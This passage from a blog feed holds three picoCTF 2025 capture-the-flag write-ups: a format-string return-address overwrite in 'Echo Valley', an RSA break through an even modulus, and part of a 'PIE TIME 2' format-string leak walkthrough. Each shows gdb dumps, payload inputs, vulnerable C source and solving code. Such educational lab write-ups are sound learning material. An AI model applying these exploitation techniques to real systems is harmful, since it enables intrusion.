which was in <em>0x7ffe77c53f80</em> of the stack. This was the read-write memory address that I needed to overwrite with the address of the <em>print_flag()</em> function. In other words, after the overwrite, instead of showing <em>0x000055e43950141</em>3, it would show the address of the <em>print_flag()</em> function ending in 269 at <em>0x7ffe77c53f80</em>.</p><p>Continuing the program to get to the input, I entered a bunch of <em>%p</em> to see where this read-write memory was positioned in the stack. Something close was right next to the return address at the 20th position! It was <em>0x7ffe77c53f90</em>, which was the address right after <em>0x7ffe77c53f80</em>!</p><pre># Continuing the program in gdb.<br>(gdb) c<br>Continuing.<br>Welcome to the Echo Valley, Try Shouting: <br>%p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p%p %p %p %p %p %p %p%p %p %p %p %p %p %p<br>You heard in the distance: 0x55758ca110c1 (nil) 0x7effb3470a00 (nil) 0x55758fafa6b0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2520702520702570 0x2070252070252070 0x2070257025207025 0x70252070252070250x2520702520702520 0x2520702520702570 0x2070252070252070 0x207025 0x28b41d151b18d200 0x7ffe77c53f90 0x55e4395014130x1 0x7effb3283d90 (nil) 0x55758ca10401 0x100000000 0x7fffd69fe978 (nil)0xe02e0a3ffe55ff40 0x7fffd69fe978 0x55758ca10401 0x55758ca12d78 0x7effb34d3040 0x1fd1a7002eb7ff40 You heard in the distance: 0x55758ca110c1</pre><p>What I needed to do in the actual run was calculate the read-write address from this address in the 20th position. The offset between <em>0x7ffe77c53f80</em> and <em>0x7ffe77c53f90 </em>was 16 bytes.</p><pre># Python code to calculate the offset.<br>20th_mem = int(&#39;7ffe77c53f90&#39;, 16)<br>rw_mem = int(&#39;7ffe77c53f80&#39;, 16)<br>print(20th_mem - rw_mem)<br><br># Output<br>16</pre><p>But, I noticed that the <em>echo_valley()</em> return address was at the second column, which would be 8 bytes above <em>0x7ffe77c53f80. </em><strong>In other words, the return address of <em>0x000055e439501413</em> was at <em>0x7ffe77c53f88</em> to be exact.</strong> <em>0x7ffe77c53f80</em> actually pointed to <em>0x7ffe77c53f90</em> as shown by the first column. I’m not sure why <em>gdb</em> presented it this way, but it was what it was. It would’ve been better if <em>gdb</em> presented it in this manner:</p><pre># Less confusing view of the 20 memory locations starting from rsp.<br><br>0x7ffe77c53f50: 0x0000000000000000      <br>0x7ffe77c53f58: 0x0000000000000000<br>0x7ffe77c53f60: 0x0000000000000000      <br>0x7ffe77c53f68: 0x0000000000000000<br>0x7ffe77c53f70: 0x0000000000000000      <br>0x7ffe77c53f78: 0x0000000000000000<br>0x7ffe77c53f80: 0x00007ffe77c53f90      <br>0x7ffe77c53f88: 0x000055e439501413<br>0x7ffe77c53f90: 0x0000000000000001      <br>0x7ffe77c53f98: 0x00007f88cd437d90</pre><p>This meant that the read-write memory address would be 8 bytes less than the address at the 20th position of the stack.</p><blockquote><strong>The grand finale.</strong></blockquote><p>Finally, everything was figured out!</p><p>I kicked off the instance, again, edited the <em>PORT</em> in the Python code, and ran it one last time after correctly calculating each address. I input the information as below and got the flag!</p><pre># Running the Python code.<br>python valley.py<br><br>*] &#39;/home/user-picoctf/picoctf_2025/echovalley/valley&#39;<br>    Arch:       amd64-64-little<br>    RELRO:      Full RELRO<br>    Stack:      Canary found<br>    NX:         NX enabled<br>    PIE:        PIE enabled<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No<br>    Debuginfo:  Yes<br>[+] Opening connection to shape-facility.picoctf.net on port 57080: Done<br>Welcome to the Echo Valley, Try Shouting: <br><br>Enter: %20$p %21$p<br>You heard in the distance: 0x7ffd6d31a800 0x5affa89c2413<br><br>Enter: ready<br>Enter Offset: 6<br>Enter address to overwrite to: 140726435424248<br>Enter new address to write: 100054091965033<br>Length of payload is: 64<br><br><br>                    $<br><br>                    <br><br><br>                    $<br><br><br><br><br><br><br>                    $<br><br><br><br><br><br><br>                    $<br><br>         <br><br><br>[*] Switching to interactive mode<br>You heard in the distance:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          \xc0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                \x00                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             \x00a\xf8\xa71m\xfd\x7fThe Valley Disappears<br>Congrats! Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}<br>[*] Got EOF while reading in interactive</pre><p>The offset value was the 6th position, so I entered 6.</p><p>The <em>overwrite_to</em> address was set as the read-write address of <em>140726435424248</em> (decimal representation of <em>0x7ffd6d31a7f8)</em> that pointed to the <em>echo_valley()</em> return address.</p><p>The new address to write was set as the <em>print_flag()</em> address of <em>100054091965033</em>, which was the decimal representation of <em>0x5affa89c2269</em>. This address would overwrite the <em>echo_valley()</em> return address at <em>0x7ffd6d31a7f8.</em></p><p>And, thankfully, this time was the flag: picoctf{f1ckl3_f0rmat_f1asc0}.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3VeHyga6DeJb6C24-erZqQ.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><p>I apologize for the long post, but I wanted to record my learning experience in detail. As a person looking to transition into Infosec, these tough 4 days gave me one of the most significant, invaluable learning experiences. This challenge was a great hands-on experience for exploiting and understanding format string vulnerabilities as well as stack overflows. If there are any errors or something that isn’t clear, please feel free to leave comments!</p><blockquote><strong>References</strong></blockquote><p>[1] The Shellcoders Handbook by Chris Anley, John Heasman Felix, Gerardo Richarte.</p><p>[2] PWNTOOL Docs <a href="https://docs.pwntools.com/en/dev/fmtstr.html#pwnlib.fmtstr.fmtstr_payload">https://docs.pwntools.com/en/dev/fmtstr.html#pwnlib.fmtstr.fmtstr_payload</a></p><p>[3] picoCTF 2025 — echo-valley and handoff <a href="https://asatpathy314.github.io/ctf-writeups/posts/picoctf-2025-pwn/">https://asatpathy314.github.io/ctf-writeups/posts/picoctf-2025-pwn/</a></p><p>[4] Format String Vulnerability <a href="https://hackinglab.cz/en/blog/format-string-vulnerability/">https://hackinglab.cz/en/blog/format-string-vulnerability/</a></p><p>[5] PicoCTF 2025 — Binary Exploitation Challenges Writeup <a href="https://hackmd.io/@sal/HJtUdR5n1e">https://hackmd.io/@sal/HJtUdR5n1e</a></p><p>[6] Format String Exploit and overwrite the Global Offset Table — bin 0x13 <a href="https://www.youtube.com/watch?v=t1LH9D5cuK4">https://www.youtube.com/watch?v=t1LH9D5cuK4</a></p><p>[7] Exploiting Format String vulnerabilities tutorial — pwn106 — PWN101 | TryHackMe <a href="https://www.youtube.com/watch?v=0-ulL3Y0MS8">https://www.youtube.com/watch?v=0-ulL3Y0MS8</a></p><p>[8] Materials from <em>Software Security</em> class at UC Berkeley School of Information</p><p>[9] Code by Charles Petzold</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=189f1cefed5f" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/down-the-rabbit-hole-of-format-string-vulnerability-echo-valley-picoctf-2025-189f1cefed5f">Down the rabbit hole of Format String Vulnerability — Echo Valley — picoCTF 2025</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EVEN RSA CAN BE BROKEN??? — picoCTF 2025]]></title>
            <link>https://systemweakness.com/even-rsa-can-be-broken-picoctf-2025-9c294c77ca44?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c294c77ca44</guid>
            <category><![CDATA[modular-arithmetic]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[prime-numbers]]></category>
            <category><![CDATA[rsa]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Sun, 23 Mar 2025 07:24:20 GMT</pubDate>
            <atom:updated>2025-05-02T23:40:15.466Z</atom:updated>
            <content:encoded><![CDATA[<h3>EVEN RSA CAN BE BROKEN??? — picoCTF 2025</h3><p>This is a post on solving “EVEN RSA CAN BE BROKEN???” challenge for picoCTF 2025.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWgFMPDt4mPti2QZSJ9aBQ.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><p>Basically, RSA is a crypto system to securely transfer data from one person to another. It is within the category of Asymmetric Cryptography as encryption / decryption require both a public key and a private key. The other category is known as Symmetric Cryptography as encryption / decryption require one key, only. RSA stands for “<strong>R</strong>ivest — <strong>S</strong>hamir — <strong>A</strong>dleman” in which these are the last names of the creators of this crypto system. It is used for transferring data over the network via SSL/TLS or signing e-documents via digital signatures. SSL/TLS is used to secure connections such as HTTPS, SSH, and Voice-over-IP (VoIP).</p><p>And how this system works is as below:</p><p>There is a message, <em>m</em>, and it can be any message such as “Hello, friend,” or “I have $5 in my wallet.” This message is, then, converted into an integer value. Once the message is converted into an integer, it is encrypted using an <strong>encryption key, <em>e</em>,</strong> and a <strong>modulus, <em>N</em>,</strong> such that <strong><em>C = m^e mod N</em></strong>, where <strong><em>C</em> stands for ciphertext</strong>. <em>C</em> is, then, transferred to the other person, and he/she decrypts <em>C</em> using a <strong>decryption key, <em>d</em>,</strong> and the modulus N, such that <strong><em>m = C^d mod N</em></strong>. In Python, we typically use the Pycryptodome library to convert messages into integers.</p><p>A few other things to note as background information are:</p><p><em>N</em> is a very large composite number composed of a very large prime number <em>p</em> and another very large prime number <em>q </em>such that<em> N = p * q</em>. Note that since <em>p</em> and <em>q</em> are prime numbers, they are odd numbers. Therefore, <em>N</em> must also be an odd number. Recall that 2 is the only even prime number, and since both <em>p</em> and <em>q</em> are very large prime numbers, we know that they are odd numbers.</p><p>There is something called Euler’s Totient function, <em>φ(n) = |Zn*|</em>,<strong> </strong>such that <em>|Zn*|</em> is the count of all integers mod <em>n</em> that are relatively prime to <em>n</em>. For example, <em>Z15* = {1, 2, 4, 7, 8, 11, 13, 14}</em>, so <em>|Z15*| = 8</em>, because it is the count of the numbers in the set (we can count 8 numbers in the set of <em>Z15*</em>). This count can be calculated more simply as:</p><ol><li><em>n-1</em> if <em>n</em> is a prime number.</li><li><em>(p-1) * (q-1)</em> if <em>n</em> is a composite number composed of <em>p * q.</em></li></ol><p>So, using <em>n = 15</em> as an example again, <em>n</em> is a composite number composed of a prime <em>p = 3</em> and a prime <em>q = 5</em>. <em>p</em> and <em>q</em> must be prime numbers which make up <em>n</em>. Applying <em>(p-1) * (q-1)</em>, we get <em>(3–1) * (5–1) = 8</em>.</p><p>With this in mind, the last thing to note is the equation <em>e*d ≡ 1 mod</em> <em>φ(N). </em>The three lines that looks similar to an equal sign<em>, =, </em>is the congruence sign, and it means<em> e*d mod φ(N) = 1 mod φ(N). </em>So, how the decryption key,<em> d</em>, is calculated is using this formula of inverse relationship<em>. e </em>can typically be set as 65,537, which is also the case in the Python source code file.</p><p>The security of RSA comes from that it is very hard to factor <em>N</em>.</p><p>Now, tackling the problem, the 3 hints seemed to state that the value of <em>N</em> wasn’t truly random. So, as instructed, I tried connecting to the server via <em>netcat</em> a good number of times to examine the output values of <em>N</em>. Sure enough, it was strange: all of the values were even numbers. As noted above, <em>N</em> should always be an odd number since both <em>p</em> and <em>q</em> are prime numbers.</p><pre>user-picoctf@webshell:~$ nc verbal-sleep.picoctf.net 51624<br>N: 24404956027156134476143231215895846582239521206409319184284390135039587462032227991822287341092496750794957271366437699913654087559242283610254440132139442<br>e: 65537<br>cyphertext: 2214364248004673246638538960542510810518776565519600085199989457265979994903887235903838132512319966671771369852257630856147795846764746277254035824980959<br><br>user-picoctf@webshell:~$ nc verbal-sleep.picoctf.net 51624<br>N: 16322839618349657652567547869117723303425753063665660183522750782088729451774053366469492243623869028930805142193695461935360697170631090862460680342990902<br>e: 65537<br>cyphertext: 14533660461527314269420195630448518886208543621654533139809330924519969752795855507587098461064807529274602295984780195806349225072145404261357029287552879<br><br>user-picoctf@webshell:~$ nc verbal-sleep.picoctf.net 51624<br>N: 25017914183562027726323663809645147678618127394208695313649158066627824637545536025636435881322788515440710040602939712242180101423966004030280669186078854<br>e: 65537<br>cyphertext: 23822287736581603511024710390871675256017412997176322820145135674856704035197865642208011600606794159553776460199431757231140505473398366717262260721711831<br><br>user-picoctf@webshell:~$ nc verbal-sleep.picoctf.net 51624<br>N: 25781135807050723431552770559118128111850534894792283253437144516555805695427505386404034721009173048044626123562398604455299455243695634306835961009739314<br>e: 65537<br>cyphertext: 19146204960031774555777016093669576435262980988819170654316795297444549043440325254581764197055199928036590785846499013697967076356150389121940961049099195<br><br>user-picoctf@webshell:~$ nc verbal-sleep.picoctf.net 51624<br>N: 17725135638325067171214324974463678610985110708175881915788088596867019944277670684995663662839513387135628920746516909983069055176364170739114309338784766<br>e: 65537<br>cyphertext: 11842680295145998535066959386614149648579291177048280437749403325167624788486709857172598138780173822282754193325909232578832828480721561628909326230104185<br><br>user-picoctf@webshell:~$ nc verbal-sleep.picoctf.net 51624<br>N: 22952767426310255116948069979828903923176912862995126428957200057833691132544816333101206252253814833951686520908362571114738760042764047607726784642073434<br>e: 65537<br>cyphertext: 700406502525108084791799270348672159219758358780880299048896254769487055031493945930484575728341052482800279944604336191947025602241107050228507777853749</pre><p>So, I took the last <em>N</em> value and divided it by 2, and the output was an odd number. The Python program for dividing by two was as below:</p><pre># Python program<br><br># Importing pycryptodome library.<br>from Crypto.Util.number import long_to_bytes<br><br>N = 22952767426310255116948069979828903923176912862995126428957200057833691132544816333101206252253814833951686520908362571114738760042764047607726784642073434<br><br>x = N // 2<br>print(x)</pre><p>Just to make sure I tried it for the other <em>N</em> values, and the output was an odd number. Since I knew that <em>N = p*q</em>, and if I could divide <em>N</em> by 2 (the only prime number that is not odd), then <em>p</em> could be 2 and <em>q</em> could be <em>N</em>/2.</p><p>Then, I calculated <em>φ(N) = (p-1) * (q-1) = (2–1) * (odd_output-1) = (odd_output-1).</em></p><pre># Python program continued...<br><br># q is odd_output.<br>q = x<br>phi_N = q - 1<br>print(phi_N)</pre><p>Using the inverse relationship of <em>e*d ≡ 1 mod</em> <em>φ(N), </em>I calculated the decryption key,<em> d, </em>where<em> d = e^(-1) mod φ(N).</em></p><pre># Python program continued...<br><br>e = 65537<br>d = pow(e, -1, phi_N)<br>print(d)</pre><p>Then, I decrypted the ciphertext by applying the formula <em>m = C^d mod N.</em></p><pre># Python program continued...<br><br>c = 700406502525108084791799270348672159219758358780880299048896254769487055031493945930484575728341052482800279944604336191947025602241107050228507777853749<br>m = pow(c, d, N)<br>print(m)</pre><p>At this point, <em>m</em> is still an integer value, so I had to further decode it into bytes using the Pycryptodome library.</p><pre># Python program continued...<br><br>m = long_to_bytes(m)<br>print(m)</pre><p>The output was the flag: b’picoCTF{tw0_1$_pr!m378257f39}’.</p><p>This exercise illustrated how quickly RSA could break if <em>N</em> could be easily factored. It was absolutely crucial that <em>p</em> and <em>q</em> were very large prime numbers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c294c77ca44" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/even-rsa-can-be-broken-picoctf-2025-9c294c77ca44">EVEN RSA CAN BE BROKEN??? — picoCTF 2025</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PIE TIME 2 — picoCTF 2025]]></title>
            <link>https://systemweakness.com/pie-time-2-picoctf-2025-ca481b91d209?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca481b91d209</guid>
            <category><![CDATA[pie-time-2]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pie-time]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Tue, 18 Mar 2025 04:34:52 GMT</pubDate>
            <atom:updated>2025-05-03T00:04:15.786Z</atom:updated>
            <content:encoded><![CDATA[<h3>PIE TIME 2 — picoCTF 2025</h3><p>Continuing from my post on PIE TIME for picoCTF 2025, I saw that there was also PIE TIME 2. The actual competition is now over, so I wasn’t able to gain any additional points for this, but PIE TIME 2 was significantly easier after figuring out PIE TIME. The difficulty level for PIE TIME 2 was a “medium” whereas that of PIE TIME was “easy,” but to me, the easier one felt much, much harder!</p><p>If you haven’t already, please check out my post for PIE TIME <a href="https://medium.com/@jinkim138/pie-time-picoctf-2025-dbec42ba0857">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ary1WSgPCMigPewsxZ6npw.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><p>So, again, you are given a domain address <em>rescued-float.picoctf.net a</em>nd 2 files to download: the source code (.c) and the binary. Like in PIE TIME, I began by downloading the two files into the Webshell and running the binary file.</p><pre># Copy the addresses by right clicking on the &#39;here&#39; links.<br>wget &lt;link_to_source_code&gt;<br>wget &lt;link_to_binary_code&gt;<br><br># Convert to executable.<br>chmod +x vuln<br><br># Run the binary file.<br>./vuln</pre><p>Notice that the file names are the same as those of PIE TIME, so I created another directory to not create copies.</p><p>The output was a bit different this time. It made me enter my name:</p><pre>Enter your name:</pre><p>I entered anything to see how it would run:</p><pre>Enter your name:a<br>a<br> enter the address to jump to, ex =&gt; 0x12345: </pre><p>And then the familiar input field popped up which asked me to enter the memory address to jump to. Obviously, I wouldn’t know this at this point, so I entered anything, again. The full output was:</p><pre>Enter your name:a<br>a<br> enter the address to jump to, ex =&gt; 0x12345: 1<br>Segfault Occurred, incorrect address.</pre><p>I noticed that it was very similar to PIE TIME which was as expected. This was “PIE TIME 2,” after all.</p><p>Then, I opened the source code (.c) file in nano and perused through the code with great concentration.</p><pre># Opening the source code in nano.<br>nano vuln.c</pre><pre>// Source code for vuln.c.<br><br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;signal.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void segfault_handler() {<br>  printf(&quot;Segfault Occurred, incorrect address.\n&quot;);<br>  exit(0);<br>}<br><br>void call_functions() {<br>  char buffer[64];<br>  printf(&quot;Enter your name:&quot;);<br>  fgets(buffer, 64, stdin);<br>  printf(buffer);<br><br>  unsigned long val;<br>  printf(&quot; enter the address to jump to, ex =&gt; 0x12345: &quot;);<br>  scanf(&quot;%lx&quot;, &amp;val);<br><br>  void (*foo)(void) = (void (*)())val;<br>  foo();<br>}<br><br>int win() {<br>  FILE *fptr;<br>  char c;<br><br>  printf(&quot;You won!\n&quot;);<br>  // Open file<br>  fptr = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>  if (fptr == NULL)<br>  {<br>      printf(&quot;Cannot open file.\n&quot;);<br>      exit(0);<br>  }<br><br>  // Read contents from file<br>  c = fgetc(fptr);<br>  while (c != EOF)<br>  {<br>      printf (&quot;%c&quot;, c);<br>      c = fgetc(fptr);<br>  }<br><br>  printf(&quot;\n&quot;);<br>  fclose(fptr);<br>}<br><br>int main() {<br>  signal(SIGSEGV, segfault_handler);<br>  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered<br><br>  call_functions();<br>  return 0;<br>}</pre><p>I noticed that it was slightly modified from last time. The <em>main()</em> function separately called <em>call_functions()</em> to enter name and memory address. But I thought that this might not have much relevance. Upon carefully perusing through the <em>call_functions()</em>, I noticed the lines:</p><pre>void call_functions() {<br>  char buffer[64];<br>  printf(&quot;Enter your name:&quot;);<br>  fgets(buffer, 64, stdin);<br>  printf(buffer);</pre><p>The <em>printf(buffer)</em>! That’s a format string vulnerability! It should be <em>printf(“%s”, buffer)</em> because it would print the string with the limit that I’d input as my name at the beginning of the program. So, I got the hint that I am supposed to leak memory addresses exploiting this vulnerability. Also, hint number 1 was <em>“What vulnerability can be exploited to leak the address?”,</em> confirming that I was on the right track.</p><p>I tried different format strings such as <em>%x, %llx, %p,</em> etc., and saw that each one output different set of hex numbers. So, not very clear, still.</p><p>I decided to run the binary using <em>gdb </em>and run the program once.</p><pre>gdb ./vuln</pre><pre>GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1<br>Copyright (C) 2022 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.<br>Type &quot;show copying&quot; and &quot;show warranty&quot; for details.<br>This GDB was configured as &quot;x86_64-linux-gnu&quot;.<br>Type &quot;show configuration&quot; for configuration details.<br>For bug reporting instructions, please see:<br>&lt;https://www.gnu.org/software/gdb/bugs/&gt;.<br>Find the GDB manual and other documentation resources online at:<br>    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.<br><br>For help, type &quot;help&quot;.<br>Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...<br>Reading symbols from ./vuln...<br>(No debugging symbols found in ./vuln)<br><br>(gdb) r</pre><p>The output after running was the usual prompt to enter name and memory address. After entering anything for both values, I disassembled the <em>main()</em> function to see the address.</p><pre>Starting program: /home/user-picoctf/picoctf_2025/pietime2/vuln<br>warning: Error disabling address space randomization: Operation not permitted<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br><br>Enter your name:a<br>a<br> enter the address to jump to, ex =&gt; 0x12345: 1<br><br>Program received signal SIGSEGV, Segmentation fault.<br>0x0000000000000001 in ?? ()<br>(gdb) disas main<br>Dump of assembler code for function main:<br>   0x000055b4f6a09400 &lt;+0&gt;:     endbr64 <br>   0x000055b4f6a09404 &lt;+4&gt;:     push   %rbp<br>   0x000055b4f6a09405 &lt;+5&gt;:     mov    %rsp,%rbp<br>   ...</pre><p>It was <em>0x000055b4f6a09400</em>, or simply, <em>0x55b4f6a09400</em>. Then, I disassembled the <em>win()</em> function to see its address.</p><pre>(gdb) disas win<br>Dump of assembler code for function win:<br>   0x000055b4f6a0936a &lt;+0&gt;:     endbr64 <br>   0x000055b4f6a0936e &lt;+4&gt;:     push   %rbp<br>   ...</pre><p>It was <em>0x55b4f6a0936a</em>. Using the same Python program from last time for calculating the memory offset from <em>main()</em> to <em>win()</em>, I calculated that the offset was 150 (again).</p><pre># Python program to calculate difference (offset).<br><br>main = &#39;55b4f6a09400&#39;<br>main = int(main, 16)<br><br>win = &#39;55b4f6a0936a&#39;<br>win = int(win, 16)<br><br>print(main)<br>print(win)<br><br># The difference (offset).<br>print(main - win)</pre><p>I also disassembled <em>call_functions()</em> out of curiosity, but it wasn’t that useful in solving this problem.</p><p>I ran the program multiple times in <em>gdb</em> to make sure that the offset was always 150 (and it was, thankfully).</p><p>Ok, so now that I knew the offset, I figured I needed to somehow leak the address of <em>main()</em> after running the program. Due to PIE (Position-Independent Executable), the address would be different at every run, so there was no use in taking note of any previous output.</p><p>I needed to leak the address when entering the name, calculate the address of <em>win() </em>from the offset of 150<em>,</em> and then jump to that address all in one run.</p><p>So, I decided to run the binary file, again, in <em>gdb</em> and start entering format strings to exploit this vulnerability.</p><pre>(gdb) r<br><br>The program being debugged has been started already.<br>Start it from the beginning? (y or n) y<br><br>Starting program: /home/user-picoctf/picoctf_2025/pietime2/vuln <br>warning: Error disabling address space randomization: Operation not permitted<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br><br>Enter your name:%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx <br>55b02830f2a1,fbad2288,0,0,55b02830f2a0,0,7f0d678f9780,6c6c252c786c6c25,252c786c6c252c78,786c6c252c786c6c,6c252c786c6c252c,2c786c6c252c786c, enter the address to jump to, ex =&gt; 0x12345: <br><br>Program received signal SIGSEGV, Segmentation fault.<br>...</pre><p>I entered a bunch of <em>%llx </em>(long long hex value) and saw values that could be in hex format. I entered <em>%llx</em> instead of <em>%x</em> because in a 64-bit machine, <em>%llx</em> should be used to display the full address.</p><p>But the output didn’t seem to show what should look like the address of <em>main()</em>. Something like <em>0x55b4f6a09</em><strong><em>400</em></strong><em> </em>where it ended with a 